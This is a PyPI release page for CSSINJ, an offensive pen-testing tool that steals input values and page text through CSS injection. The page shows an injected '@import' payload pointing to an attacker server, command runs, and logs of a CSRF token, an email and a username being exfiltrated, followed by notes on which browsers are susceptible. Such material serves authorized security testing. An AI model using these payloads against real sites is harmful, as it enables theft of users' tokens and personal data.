CSSINJ
_____ _____ _____ _____ _ _ _ _____ __ __
/ ____| / ____| / ____||_ _|| \ | | | | | __ \ \ \ / /
| | | (___ | (___ | | | \| | | | | |__) | \ \_/ /
| | \___ \ \___ \ | | | . ` | _ | | | ___/ \ /
| |____ ____) | ____) | _| |_ | |\ || |__| | _ | | | |
\_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_| |_|
About
CSSINJ is a penetration testing tool that exploits CSS injection vulnerabilities to exfiltrate sensitive information from web applications. This tool is designed for security professionals to assess the security posture of web applications by demonstrating how CSS can be used to extract data covertly.
Installation
To install CSSINJ, run the following command:
pip install cssinj
# Or with uv
uv add cssinj
Now you’re ready to use CSSINJ!
Usage
python3 -m cssinj [-h] [--version] [-H HOSTNAME] [-p PORT] [-e ELEMENT]
[-a ATTRIBUTE] [-d] [-v | -q] [--no-banner]
[--log-file LOG_FILE] [-m {recursive,font-face}]
[-o [OUTPUT]] [-t TIMEOUT]
Options
| Option | Description |
|---|---|
-h, --help |
Show help message and exit |
--version |
Show program version and exit |
-H, --hostname |
Attacker hostname or IP address (default: 127.0.0.1) |
-p, --port |
Port number of the attacker (default: 5005) |
-e, --element |
HTML element to extract data from (default: input) |
-a, --attribute |
Element attribute selector to exfiltrate (default: value). Deprecated alias: --attribut |
-m, --method |
Exfiltration strategy: recursive or font-face (default: recursive) |
-d, --details |
Show detailed (debug) logs, including extracted data |
-v, --verbose |
Enable debug-level logging |
-q, --quiet |
Only log warnings and errors |
--no-banner |
Do not print the ASCII banner on startup |
--log-file LOG_FILE |
Also write structured logs to this file |
-t, --timeout |
Seconds before considering exfiltration complete, for font-face (default: 3.0) |
-o, --output [OUTPUT] |
Store the exfiltrated data as JSON (default file: output.json) |
Example
Victim's View :
<h1>Welcome on my page !</h1>
<input type="text" id="username" value="admin" disabled>
<input type="email" id="email" value="admin@admin.XX" disabled>
<input type="text" class="csrf" value="MySecretAdminToken" hidden>
<img src="XXXXXXXXXXX.XX">
...
<style>
@import url('//localhost:5005/start');
</style>
...
Recursive attack
Using a specific HTML identifier :
~ python3 -m cssinj -H 127.0.0.1 -p 5005 -e input
_____ _____ _____ _____ _ _ _ _____ __ __
/ ____| / ____| / ____||_ _|| \ | | | | | __ \ \ \ / /
| | | (___ | (___ | | | \| | | | | |__) | \ \_/ /
| | \___ \ \___ \ | | | . ` | _ | | | ___/ \ /
| |____ ____) | ____) | _| |_ | |\ || |__| | _ | | | |
\_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_| |_|
[2025-03-11T03:06:49] INFO 🛠️ Attacker's server started on 127.0.0.1:5005
[2025-03-11T03:06:49] INFO 🌐 Connection from ::1
[2025-03-11T03:06:49] INFO ✅ [1] - The value exfiltrated from input is : MySecretAdminToken
[2025-03-11T03:06:49] INFO ✅ [1] - The value exfiltrated from input is : admin@admin.XX
[2025-03-11T03:06:49] INFO ✅ [1] - The value exfiltrated from input is : admin
Using a specific CSS attribute selector and a generic HTML identifier:
~ python3 -m cssinj -H 127.0.0.1 -p 5005 -e '*' -a src
_____ _____ _____ _____ _ _ _ _____ __ __
/ ____| / ____| / ____||_ _|| \ | | | | | __ \ \ \ / /
| | | (___ | (___ | | | \| | | | | |__) | \ \_/ /
| | \___ \ \___ \ | | | . ` | _ | | | ___/ \ /
| |____ ____) | ____) | _| |_ | |\ || |__| | _ | | | |
\_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_| |_|
[2025-03-11T03:06:49] INFO 🛠️ Attacker's server started on 127.0.0.1:5005
[2025-03-11T03:06:49] INFO 🌐 Connection from ::1
[2025-03-11T03:06:49] INFO ✅ [1] - The src exfiltrated from * is : XXXXXXXXXXX.XX
Font-face attack
Note: The
font-facemethod reveals which characters are present in the target element, not their order — which is why the output below is not in reading order.
~ python3 -m cssinj -H 127.0.0.1 -p 5005 -e h1 --method font-face -d
_____ _____ _____ _____ _ _ _ _____ __ __
/ ____| / ____| / ____||_ _|| \ | | | | | __ \ \ \ / /
| | | (___ | (___ | | | \| | | | | |__) | \ \_/ /
| | \___ \ \___ \ | | | . ` | _ | | | ___/ \ /
| |____ ____) | ____) | _| |_ | |\ || |__| | _ | | | |
\_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_| |_|
[2025-05-21T03:06:49] INFO 🛠️ Attacker's server started on 127.0.0.1:5005
[2025-05-21T03:06:49] INFO 🌐 Connection from 127.0.0.1
[2025-05-21T03:06:49] DEBUG ⚙️ ID : 1
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: W
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: e
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: l
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: c
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: o
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: m
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: n
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: y
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: p
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: a
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: g
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: !
[2025-05-21T03:06:52] INFO ✅ [1] - Characters found in h1: Welcomnyp ag!
Browser-Specific Behavior
The success of CSS injection attacks using @import depends on the browser's handling of CSS imports:
-
Chromium-based browsers (Chrome, Edge, Brave, etc.) allow recursive CSS imports and will process the injected styles, making them vulnerable to exfiltration techniques using @import.
-
Firefox, however, handles @import differently:
- Unlike Chromium-based browsers, Firefox processes all @import rules before applying any styles.
- As a result, the attack fails because the browser never processes the CSS selectors, preventing data exfiltration.
- This behavior causes an infinite loop where the browser keeps waiting for a CSS update that never happens.
This difference in behavior makes Chromium-based browsers more susceptible to CSS injection exfiltration, while Firefox provides better protection against such attacks.
Todo
-
General :
- Add error Handler
- File error Handler
- Add test
- Edit Terminal
- Add error Handler
-
Injection :
- Add timeout for font-face exfiltration
-
Complete Exfiltration (Blind):
- 0. Complete dom objects
- 1. Get Structure of the HTML (Tags)
- 2. Get all Attributs for each Element
- 3. Get all value for each Attributs
- 4. Get text using font-face exfiltration
Disclaimer
This tool is intended only for ethical hacking and security research. Unauthorized use on systems without explicit permission is illegal. The developer is not responsible for any misuse of this tool.
Author
CSSINJ was developed by DonAsako.
Metadata
Release files for cssinj 0.4.0
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| cssinj-0.4.0.tar.gz | 44.4 kB | With provenance | Details for cssinj-0.4.0.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| cssinj-0.4.0-py3-none-any.whl | Python 3 | none | any | Details for cssinj-0.4.0-py3-none-any.whl |
Total release size: 87.6 kB
Release files / cssinj-0.4.0.tar.gz
| Download URL | cssinj-0.4.0.tar.gz |
|---|---|
| Size | 44.4 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
fd5d244b8c672f34aa1e16d7e914ff19e0ced8a457b35735a517da7c1b4b5742
|
|
BLAKE2b-256 checksum How to use checksums |
4a025d02eaee703e14225dd54f66d7b87f1a5978df07745e6bcbb53938e00657
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/6.1.0 CPython/3.13.14
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Jul 27, 2026.
Transparency logRelease files / cssinj-0.4.0-py3-none-any.whl
| Download URL | cssinj-0.4.0-py3-none-any.whl |
|---|---|
| Size | 43.1 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
f5de0609dfd872fe3a5ffb0289b219e08c5f8427225f39745a503803b9508af6
|
|
BLAKE2b-256 checksum How to use checksums |
cc0c9c619a5434ddadc3bb735dd3e64930b090e9fac3e31f65674521f1a6426c
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/6.1.0 CPython/3.13.14
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Jul 27, 2026.
Transparency logSecurity for cssinj 0.4.0
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
Full provenance
Both files in this release have been uploaded with provenance metadata.
Attestation for cssinj-0.4.0.tar.gz
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Jul 27, 2026.
Transparency logA note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.